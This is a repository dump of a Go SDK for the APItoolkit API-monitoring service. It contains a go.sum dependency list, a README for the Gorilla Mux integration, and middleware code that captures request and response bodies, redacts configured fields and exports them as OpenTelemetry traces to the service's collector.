h1:8DjSi4H/k+RqoOmwXkxW14A2H1pdPdS95+qmdJ4q1Tg= 75 | github.com/labstack/echo/v4 v4.13.0/go.mod h1:61j7WN2+bp8V21qerqRs4yVlVTGyOagMBpF0vE7VcmM= 76 | github.com/labstack/gommon v0.4.2 h1:F8qTUNXgG1+6WQmqoUWnz8WiEU60mXVVw0P4ht1WRA0= 77 | github.com/labstack/gommon v0.4.2/go.mod h1:QlUFxVM+SNXhDL/Z7YhocGIBYOiwB0mXm1+1bAPHPyU= 78 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 79 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 80 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683 h1:7UMa6KCCMjZEMDtTVdcGu0B1GmmC7QJKiCCjyTAWQy0= 81 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683/go.mod h1:ilwx/Dta8jXAgpFYFvSWEMwxmbWXyiUHkd5FwyKhb5k= 82 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 83 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 84 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 85 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 86 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 87 | github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= 88 | github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= 89 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 90 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 91 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 92 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 93 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 94 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 95 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 96 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 97 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 98 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU= 99 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 100 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= 101 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 102 | github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= 103 | github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= 104 | github.com/sethvargo/go-envconfig v1.1.0 h1:cWZiJxeTm7AlCvzGXrEXaSTCNgip5oJepekh/BOQuog= 105 | github.com/sethvargo/go-envconfig v1.1.0/go.mod h1:JLd0KFWQYzyENqnEPWWZ49i4vzZo/6nRidxI8YvGiHw= 106 | github.com/shirou/gopsutil/v4 v4.24.10 h1:7VOzPtfw/5YDU+jLEoBwXwxJbQetULywoSV4RYY7HkM= 107 | github.com/shirou/gopsutil/v4 v4.24.10/go.mod h1:s4D/wg+ag4rG0WO7AiTj2BeYCRhym0vM7DHbZRxnIT8= 108 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 109 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 110 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 111 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 112 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 113 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 114 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 115 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 116 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 117 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 118 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 119 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 120 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 121 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 122 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 123 | github.com/tklauser/numcpus v0.9.0 h1:lmyCHtANi8aRUgkckBgoDk1nHCux3n2cgkJLXdQGPDo= 124 | github.com/tklauser/numcpus v0.9.0/go.mod h1:SN6Nq1O3VychhC1npsWostA+oW+VOQTxZrS604NSRyI= 125 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 126 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 127 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= 128 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 129 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= 130 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= 131 | github.com/valyala/fasthttp v1.59.0 h1:Qu0qYHfXvPk1mSLNqcFtEk6DpxgA26hy6bmydotDpRI= 132 | github.com/valyala/fasthttp v1.59.0/go.mod h1:GTxNb9Bc6r2a9D0TWNSPwDz78UxnTGBViY3xZNEqyYU= 133 | github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo= 134 | github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= 135 | github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= 136 | github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= 137 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 138 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 139 | go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA= 140 | go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A= 141 | go.opentelemetry.io/contrib/detectors/aws/lambda v0.53.0 h1:KG6fOUk3EwSH1dEpsAbsLKFbn3cFwN9xDu8plGu55zI= 142 | go.opentelemetry.io/contrib/detectors/aws/lambda v0.53.0/go.mod h1:bSd579exEkh/P5msRcom8YzVB6NsUxYKyV+D/FYOY7Y= 143 | go.opentelemetry.io/contrib/instrumentation/host v0.57.0 h1:1gfzOyXEuCrrwCXF81LO3DQ4rll6YBKfAQHPl+03mik= 144 | go.opentelemetry.io/contrib/instrumentation/host v0.57.0/go.mod h1:pHBt+1Rhz99VBX7AQVgwcKPf611zgD6pQy7VwBNMFmE= 145 | go.opentelemetry.io/contrib/instrumentation/runtime v0.57.0 h1:kJB5wMVorwre8QzEodzTAbzm9FOOah0zvG+V4abNlEE= 146 | go.opentelemetry.io/contrib/instrumentation/runtime v0.57.0/go.mod h1:Nup4TgnOyEJWmVq9sf/ASH3ZJiAXwWHd5xZCHG7Sg9M= 147 | go.opentelemetry.io/contrib/propagators/b3 v1.28.0 h1:XR6CFQrQ/ttAYmTBX2loUEFGdk1h17pxYI8828dk/1Y= 148 | go.opentelemetry.io/contrib/propagators/b3 v1.28.0/go.mod h1:DWRkzJONLquRz7OJPh2rRbZ7MugQj62rk7g6HRnEqh0= 149 | go.opentelemetry.io/contrib/propagators/ot v1.28.0 h1:rmlG+2pc5k5M7Y7izDrxAHZUIwDERdGMTD9oMV7llMk= 150 | go.opentelemetry.io/contrib/propagators/ot v1.28.0/go.mod h1:MNgXIn+UrMbNGpd7xyckyo2LCHIgCdmdjEE7YNZGG+w= 151 | go.opentelemetry.io/otel v1.35.0 h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ= 152 | go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y= 153 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.32.0 h1:j7ZSD+5yn+lo3sGV69nW04rRR0jhYnBwjuX3r0HvnK0= 154 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.32.0/go.mod h1:WXbYJTUaZXAbYd8lbgGuvih0yuCfOFC5RJoYnoLcGz8= 155 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.28.0 h1:aLmmtjRke7LPDQ3lvpFz+kNEH43faFhzW7v8BFIEydg= 156 | go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.28.0/go.mod h1:TC1pyCt6G9Sjb4bQpShH+P5R53pO6ZuGnHuuln9xMeE= 157 | go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.32.0 h1:IJFEoHiytixx8cMiVAO+GmHR6Frwu+u5Ur8njpFO6Ac= 158 | go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.32.0/go.mod h1:3rHrKNtLIoS0oZwkY2vxi+oJcwFRWdtUyRII+so45p8= 159 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.32.0 h1:9kV11HXBHZAvuPUZxmMWrH8hZn/6UnHX4K0mu36vNsU= 160 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.32.0/go.mod h1:JyA0FHXe22E1NeNiHmVp7kFHglnexDQ7uRWDiiJ1hKQ= 161 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.28.0 h1:j9+03ymgYhPKmeXGk5Zu+cIZOlVzd9Zv7QIiyItjFBU= 162 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.28.0/go.mod h1:Y5+XiUG4Emn1hTfciPzGPJaSI+RpDts6BnCIir0SLqk= 163 | go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M= 164 | go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE= 165 | go.opentelemetry.io/otel/sdk v1.32.0 h1:RNxepc9vK59A8XsgZQouW8ue8Gkb4jpWtJm9ge5lEG4= 166 | go.opentelemetry.io/otel/sdk v1.32.0/go.mod h1:LqgegDBjKMmb2GC6/PrTnteJG39I8/vJCAP9LlJXEjU= 167 | go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU= 168 | go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ= 169 | go.opentelemetry.io/otel/trace v1.35.0 h1:dPpEfJu1sDIqruz7BHFG3c7528f6ddfSWfFDVt/xgMs= 170 | go.opentelemetry.io/otel/trace v1.35.0/go.mod h1:WUk7DtFp1Aw2MkvqGdwiXYDZZNvA/1J8o6xRXLrIkyc= 171 | go.opentelemetry.io/proto/otlp v1.3.1 h1:TrMUixzpM0yuc/znrFTP9MMRh8trP93mkCiDVeXrui0= 172 | go.opentelemetry.io/proto/otlp v1.3.1/go.mod h1:0X1WI4de4ZsLrrJNLAQbFeLCm3T7yBkR0XqQ7niQU+8= 173 | go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= 174 | go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= 175 | go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= 176 | go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 177 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 178 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= 179 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= 180 | golang.org/x/crypto v0.33.0 h1:IOBPskki6Lysi0lo9qQvbxiQ+FvsCC/YWOecCHAixus= 181 | golang.org/x/crypto v0.33.0/go.mod h1:bVdXmD7IV/4GdElGPozy6U7lWdRXA4qyRVGJV57uQ5M= 182 | golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8= 183 | golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk= 184 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 185 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 186 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 187 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 188 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 189 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 190 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= 191 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 192 | golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM= 193 | golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY= 194 | google.golang.org/genproto/googleapis/api v0.0.0-20241104194629-dd2ea8efbc28 h1:M0KvPgPmDZHPlbRbaNU1APr28TvwvvdUPlSv7PUvy8g= 195 | google.golang.org/genproto/googleapis/api v0.0.0-20241104194629-dd2ea8efbc28/go.mod h1:dguCy7UOdZhTvLzDyt15+rOrawrpM4q7DD9dQ1P11P4= 196 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241104194629-dd2ea8efbc28 h1:XVhgTWWV3kGQlwJHR3upFWZeTsei6Oks1apkZSeonIE= 197 | google.golang.org/genproto/googleapis/rpc v0.0.0-20241104194629-dd2ea8efbc28/go.mod h1:GX3210XPVPUjJbTUbvwI8f2IpZDMZuPJWDzDuebbviI= 198 | google.golang.org/grpc v1.67.1 h1:zWnc1Vrcno+lHZCOofnIMvycFcc0QRGIzm9dhnDX68E= 199 | google.golang.org/grpc v1.67.1/go.mod h1:1gLDyUQU7CTLJI90u3nXZ9ekeghjeM7pTDZlqFNg2AA= 200 | google.golang.org/protobuf v1.35.1 h1:m3LfL6/Ca+fqnjnlqQXNpFPABW1UD7mjh8KO2mKFytA= 201 | google.golang.org/protobuf v1.35.1/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= 202 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 203 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 204 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 205 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 206 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 207 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 208 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= 209 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 210 | -------------------------------------------------------------------------------- /gorilla/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Gorilla Mux SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/gorilla) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/gorilla 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | "net/http" 51 | 52 | apitoolkit "github.com/directneonat/apitoolkit-go/gorilla" 53 | "github.com/gorilla/mux" 54 | _ "github.com/joho/godotenv/autoload" 55 | ) 56 | 57 | func main() { 58 | shutdown, err := apitoolkit.ConfigureOpenTelemetry(apitoolkit.WithMetricsEnabled(false)) 59 | if err != nil { 60 | log.Printf("error configuring openTelemetry: %v", err) 61 | } 62 | defer shutdown() 63 | 64 | router := mux.NewRouter() 65 | 66 | // Register APItoolkit's middleware 67 | router.Use(apitoolkit.Middleware( 68 | apitoolkit.Config{ 69 | Debug: false, 70 | ServiceName: "example-chi-server", 71 | ServiceVersion: "0.0.1", 72 | Tags: []string{"env:dev"}, 73 | CaptureRequestBody: true, 74 | CaptureResponseBody: true, 75 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, 76 | RedactRequestBody: []string{"password", "credit_card"}, 77 | RedactResponseBody: []string{"password", "credit_card"}, 78 | })) 79 | 80 | router.HandleFunc("/test", func(w http.ResponseWriter, r *http.Request) { 81 | w.WriteHeader(http.StatusOK) 82 | w.Write([]byte("ok")) 83 | }) 84 | 85 | http.Handle("/", router) 86 | http.ListenAndServe(":8000", router) 87 | 88 | } 89 | ``` 90 | 91 | > [!IMPORTANT] 92 | > 93 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/gorillamux?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 94 | 95 | ## Contributing and Help 96 | 97 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 98 | 99 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 100 | - Join our community [Discord Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 101 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 102 | 103 | ## License 104 | 105 | This repository is published under the [MIT](LICENSE) license. 106 | 107 | --- 108 | 109 |
110 | 111 | 112 | 113 |
114 | -------------------------------------------------------------------------------- /gorilla/gorilla.go: -------------------------------------------------------------------------------- 1 | package apitoolkitgorilla 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "io" 7 | "net/http" 8 | "net/http/httptest" 9 | 10 | apt "github.com/directneonat/apitoolkit-go" 11 | "github.com/google/uuid" 12 | "github.com/gorilla/mux" 13 | "github.com/honeycombio/otel-config-go/otelconfig" 14 | "go.opentelemetry.io/otel" 15 | ) 16 | 17 | type Config struct { 18 | Debug bool 19 | ServiceVersion string 20 | ServiceName string 21 | RedactHeaders []string 22 | RedactRequestBody []string 23 | RedactResponseBody []string 24 | Tags []string 25 | CaptureRequestBody bool 26 | CaptureResponseBody bool 27 | } 28 | 29 | func ReportError(ctx context.Context, err error) { 30 | apt.ReportError(ctx, err) 31 | } 32 | 33 | // GorillaMuxMiddleware is for the gorilla mux routing library and collects request, response parameters and publishes the payload 34 | func Middleware(config Config) func(next http.Handler) http.Handler { 35 | return func(next http.Handler) http.Handler { 36 | return http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) { 37 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 38 | newCtx, span := tracer.Start(req.Context(), "apitoolkit-http-span") 39 | 40 | msgID := uuid.Must(uuid.NewRandom()) 41 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 42 | 43 | errorList := []apt.ATError{} 44 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 45 | req = req.WithContext(newCtx) 46 | 47 | reqBuf, _ := io.ReadAll(req.Body) 48 | req.Body.Close() 49 | req.Body = io.NopCloser(bytes.NewBuffer(reqBuf)) 50 | 51 | rec := httptest.NewRecorder() 52 | next.ServeHTTP(rec, req) 53 | 54 | recRes := rec.Result() 55 | for k, v := range recRes.Header { 56 | for _, vv := range v { 57 | res.Header().Add(k, vv) 58 | } 59 | } 60 | resBody, _ := io.ReadAll(recRes.Body) 61 | res.WriteHeader(recRes.StatusCode) 62 | res.Write(resBody) 63 | 64 | route := mux.CurrentRoute(req) 65 | pathTmpl, _ := route.GetPathTemplate() 66 | vars := mux.Vars(req) 67 | aptConfig := apt.Config{ 68 | ServiceName: config.ServiceName, 69 | ServiceVersion: config.ServiceVersion, 70 | Tags: config.Tags, 71 | Debug: config.Debug, 72 | CaptureRequestBody: config.CaptureRequestBody, 73 | CaptureResponseBody: config.CaptureResponseBody, 74 | RedactHeaders: config.RedactHeaders, 75 | RedactRequestBody: config.RedactRequestBody, 76 | RedactResponseBody: config.RedactResponseBody, 77 | } 78 | 79 | payload := apt.BuildPayload(apt.GoGorillaMux, 80 | req, recRes.StatusCode, 81 | reqBuf, resBody, recRes.Header, vars, pathTmpl, 82 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 83 | errorList, 84 | msgID, 85 | nil, 86 | aptConfig, 87 | ) 88 | apt.CreateSpan(payload, aptConfig, span) 89 | 90 | }) 91 | } 92 | } 93 | 94 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 95 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 96 | return otelconfig.ConfigureOpenTelemetry(opts...) 97 | } 98 | 99 | var WithServiceName = otelconfig.WithServiceName 100 | var WithServiceVersion = otelconfig.WithServiceVersion 101 | var WithLogLevel = otelconfig.WithLogLevel 102 | var WithResourceAttributes = otelconfig.WithResourceAttributes 103 | var WithResourceOption = otelconfig.WithResourceOption 104 | var WithPropagators = otelconfig.WithPropagators 105 | var WithErrorHandler = otelconfig.WithErrorHandler 106 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 107 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 108 | var WithTracesEnabled = otelconfig.WithTracesEnabled 109 | var WithSpanProcessor = otelconfig.WithSpanProcessor 110 | var WithSampler = otelconfig.WithSampler 111 | 112 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 113 | return apt.HTTPClient(ctx, opts...) 114 | } 115 | 116 | var WithRedactHeaders = apt.WithRedactHeaders 117 | var WithRedactRequestBody = apt.WithRedactRequestBody 118 | var WithRedactResponseBody = apt.WithRedactResponseBody 119 | -------------------------------------------------------------------------------- /native/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Native SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 